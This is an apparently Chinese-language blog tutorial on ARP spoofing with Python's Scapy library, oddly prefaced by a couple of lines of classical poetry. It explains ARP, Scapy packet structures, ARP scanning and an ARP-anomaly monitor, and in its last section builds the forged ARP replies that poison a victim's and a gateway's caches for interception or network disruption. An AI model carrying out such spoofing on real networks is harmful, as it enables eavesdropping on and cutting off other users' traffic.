poetry

我报路长嗟日暮,学诗谩有惊人句。
九万里风鹏正举。风休住,蓬舟吹取三山去。
Arp欺骗 ---- Python实现
## 简介 1、ARP是地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。 2、当计算机知道IP地址和MAC地址,就会向局域网中发送信息,默认发给默认网关,如果是发到局域网外的信息,则用源主机IP+目的 这两点是构造ARP毒化攻击的基本原理。 ---- ARP毒化攻击可以干什么? ARP毒化可以让局域网内的消息都发往你指定的网关,简而言之就是让本地局域网全部断网,让连接同一个WiFi的设备都上不了网。
如何做到的?
计算机、手机、Ipad上网的数据传输发包格式为:
源IP--自己的IP
源MAC--自己的物理地址
目的IP--如180.101.49.12 == www.baidu.com
目的MAC--本地局域网的默认网关MAC

1、目标主机通过ARP广播(由此可见ARP是用UDP协议实现)得到默认网关MAC地址
2、攻击者通过不断地发送(默认网关IP+非默认网关MAC)的形式,更改目标主机中的ARP缓存表
3、目标主机向默认路由发送消息
4、消息在局域网内传播,但不会通过MAC地址流入默认路由器,故默认路由器也不会转发目标主机的消息,目标主机断网。

即通过ARP毒化,让目标主机不能通过ARP协议,完成正确的地址映射。

攻击者如何向目标主机发送(默认网关IP+非默认网关MAC)?
通过Python3的Scapy库来实现。

1、Scapy工具介绍

scapy官方文档

https://scapy.readthedocs.io/en/latest/](https://scapy.readthedocs.io/en/latest/)

安装 pip install scapy

Scapy可用于构造、发送、解析各类数据包。可以用来扫描,跟踪路由,探测,单元测试,攻击或网络发现。

默认包:以太网头部/IP头部/TCP头部
pkg=Ehter()/IP()/TCP()
pkg.show()

默认以太网头部

###[ Ethernet ]### 
dst= ff:ff:ff:ff:ff:ff
src= 00:00:00:00:00:00
type= IPv4

默认IP头部

###[ IP ]### 
     version= 4
     ihl= None
     tos= 0x0
     len= None
     id= 1
     flags= 
     frag= 0
     ttl= 64
     proto= tcp
     chksum= None
     src= 127.0.0.1
     dst= 127.0.0.1
     \options\

默认TCP头部

###[ TCP ]### 
        sport= ftp_data //默认20
        dport= http            //默认80
        seq= 0
        ack= 0
        dataofs= None
        reserved= 0
        flags= S
        window= 8192
        chksum= None
        urgptr= 0
        options= []

2、ARP协议简介

ARP协议实现IP(32bit)地址到MAC(48bit)地址之间的动态映射(由操作系统完成,用户不必关注),多路访问都会用到IP地址


实现的具体过程

源主机发送ARP广播报文段,在报文段中填入自己的IP地址,目标的IP地址,以及自己的MAC地址

同一个局域网内的主机都接受该报文段,并与自己的IP地址相比较
如果相同,则发送ARP响应报文,在响应报文中填入自己的MAC地址等
如果不同,则丢弃
源主机接收到目标主机发出的ARP响应报文,放入ARP缓存表

scapy包结构

###[ ARP ]### 
        hwtype= 0x1         //硬件类型 1:Ethernet
        ptype= IPv4            
        hwlen= None
        plen= None
        op= who-has
        hwsrc= 00:0c:29:ab:65:55    //hardware source 硬件源地址
        psrc= 192.168.3.37                //源IP地址
        hwdst= None                                //hardware destination 硬件目的地址
        pdst= None                                //目的IP地址

ARP包结构

3、Scapy实现ARP扫描

'''
sr()  发一个,也可以接受好几个包
sr1() 发一个包,可能会收到很多包,但我只接受第一个
srp() 发多个,收多个,p代表工作在二层(以太网层)
send() 只管发
sendp() 需要手动填以太网的信息
'''

最基本的ARP请求响应

1
2
3
4
5
6
7
8
9
10
localmac='00:0c:29:ab:65:55'
localip='192.168.3.37'
destip='192.168.3.31'
destmac=destmac

pkg=srp(Ether(src=localmac,dst='FF:FF:FF:FF:FF:FF')/ARP(op=1,hwsrc=localmac,hwdst='00:00:00:00:00:00'),iface='ens32',verbose=False,timeout=1)
# op=1:ARP Request
# iface:网卡
# timeout:设置等待时间
# verbose:不打印输出

ARP响应的解析—Scapy——ARP数据结构分析

scapy发收包的数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
>>>pkg
# (<Results: TCP:0 UDP:0 ICMP:0 Other:1>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>) //元祖

>>>pkg[0] //选择响应的ARP包
# <Results: TCP:0 UDP:0 ICMP:0 Other:1>

>>>pkg[0].res //生成收发包的清单

#用列表容纳收发队列组成的元祖,对应一组计算机[
第一个收发(
# 发送的包<Ether dst=FF:FF:FF:FF:FF:FF src=00:0c:29:ab:65:55 type=ARP |<ARP op=who-has hwsrc=00:0c:29:ab:65:55 psrc=192.168.3.37 pdst=192.168.3.31 |>>,
# 接受的包<Ether dst=00:0c:29:ab:65:55 src=58:00:e3:d7:d5:ef type=ARP |<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=58:00:e3:d7:d5:ef psrc=192.168.3.31 hwdst=00:0c:29:ab:65:55 pdst=192.168.3.37 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>)]
# 元祖--包含了收发的所有包

>>>pkg[0].res[0] //选择第一个收发的包
#就对应一个计算机(
<Ether dst=FF:FF:FF:FF:FF:FF src=00:0c:29:ab:65:55 type=ARP |<ARP op=who-has hwsrc=00:0c:29:ab:65:55 psrc=192.168.3.37 pdst=192.168.3.31 |>>,
<Ether dst=00:0c:29:ab:65:55 src=58:00:e3:d7:d5:ef type=ARP |<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=58:00:e3:d7:d5:ef psrc=192.168.3.31 hwdst=00:0c:29:ab:65:55 pdst=192.168.3.37 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>
)
>>>pkg[0].res[0][1] //选择响应的那一部分
>>>pkg[0].res[0][1][0].fields//选择响应的那一部分的以太网头部
#{'dst': '00:0c:29:ab:65:55', 'src': '58:00:e3:d7:d5:ef', 'type': 2054}

>>>pkg[0].res[0][1][1].fields //选择响应的那一部分的ARP头部
'''
{
'hwtype': 1,
'ptype': 2048,
'hwlen': 6,
'plen': 4,
'op': 2,
'hwsrc': '58:00:e3:d7:d5:ef',
'psrc': '192.168.3.31',
'hwdst': '00:0c:29:ab:65:55',
'pdst': '192.168.3.37'
}
'''
>>>pkg[0].res[0][1][1].fields['hwsrc'] //提取目标mac地址,也就是当前目标发包的源mac地址
>>>pkg[0].res[0][1][1].fields['psrc']

源码:

https://github.com/ArchKS/Python/tree/master/ArpSpoof

4、Scapy监听ARP异常

  • 建立正确的IP地址和MAC地址的映射数据库
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

import logging
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)#清除报错
from scapy.all import *
from ARP_Table import ARP_Table # 导入合法的IP-MAC映射关系
def arp_monitor_callback(pkt):
if ARP in pkt and pkt[ARP].op in (1,2):#找到ARP数据包中操作码为1(who-has)或者2(is-at)的数据包)
if ARP_Table.get(pkg[ARP].psrc):
if ARP_Table[pkt[ARP].psrc] == pkt[ARP].hwsrc:
print('IP地址:{0} MAC地址:{1} 匹配'.format(pkt[ARP].psrc,pkt[ARP].hwsrc))
else:
print('IP地址:{0} MAC地址:{1} 不匹配'.format(pkt[ARP].psrc,pkt[ARP].hwsrc))
else:
print('IP地址:{0} MAC地址:{1} 未找到条码'.format(pkt[ARP].psrc,pkt[ARP].hwsrc))
#捕获数据包,通过arp_monitor_callback方法进行处理,filter过滤arp数据包,store=0,不保存数据,iface指定接口
sniff(prn=arp_monitor_callback,filter='arp',store=0,iface='ens32')

5、Scapy实现ARP的毒化攻击

原理:

攻击之前.webp

攻击之后

所以,只需要修改A中的ARP缓存表,将与B对应的MAC修改。
于是,发给A的ARP响应报文格式应为:

1
2
3
4
目的IP:A
目的MAC:A
源IP:B
源MAC:C

就能实现上图功能。
紧接着,如果B要发消息给A,那么A中的ARP表可能会调整回正确的,于是可以向B发送ARP报文,格式为:

1
2
3
4
目的IP:B
目的MAC:B
源IP:A
源MAC:C

这样,B发往A的数据包也会走向C了,A,B双方的通信都将被C截获。
通常,B往往是路由器,所以B的IP地址一般是默认网关。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
'''
源IP为默认网关的IP
源MAC为默认网关的MAC
目的IP为需要毒化主机的IP
目的MAC为需要毒化主机的MAC
'''
pkgtoHost=Ether(src=localmac,dst=tgmac)/ARP(op=2,hwsrc=localmac,psrc=gatewayip,hwdst=tgmac,pdst=tgip)
gatewayMac=getmacbyip(gatewayip)

'''
源IP为被攻击主机的IP
源MAC为本机MAC
目的IP为默认网关的IP
目的MAC为默认网关的MAC
'''

pkgtoGateway=Ether(src=localmac,dst=gatewayMac)/ARP(hwdst=gatewayMac,pdst=gatewayip,psrc=tgip,hwsrc=localmac,op=2)

源码:

https://github.com/ArchKS/Python/tree/master/ArpSpoof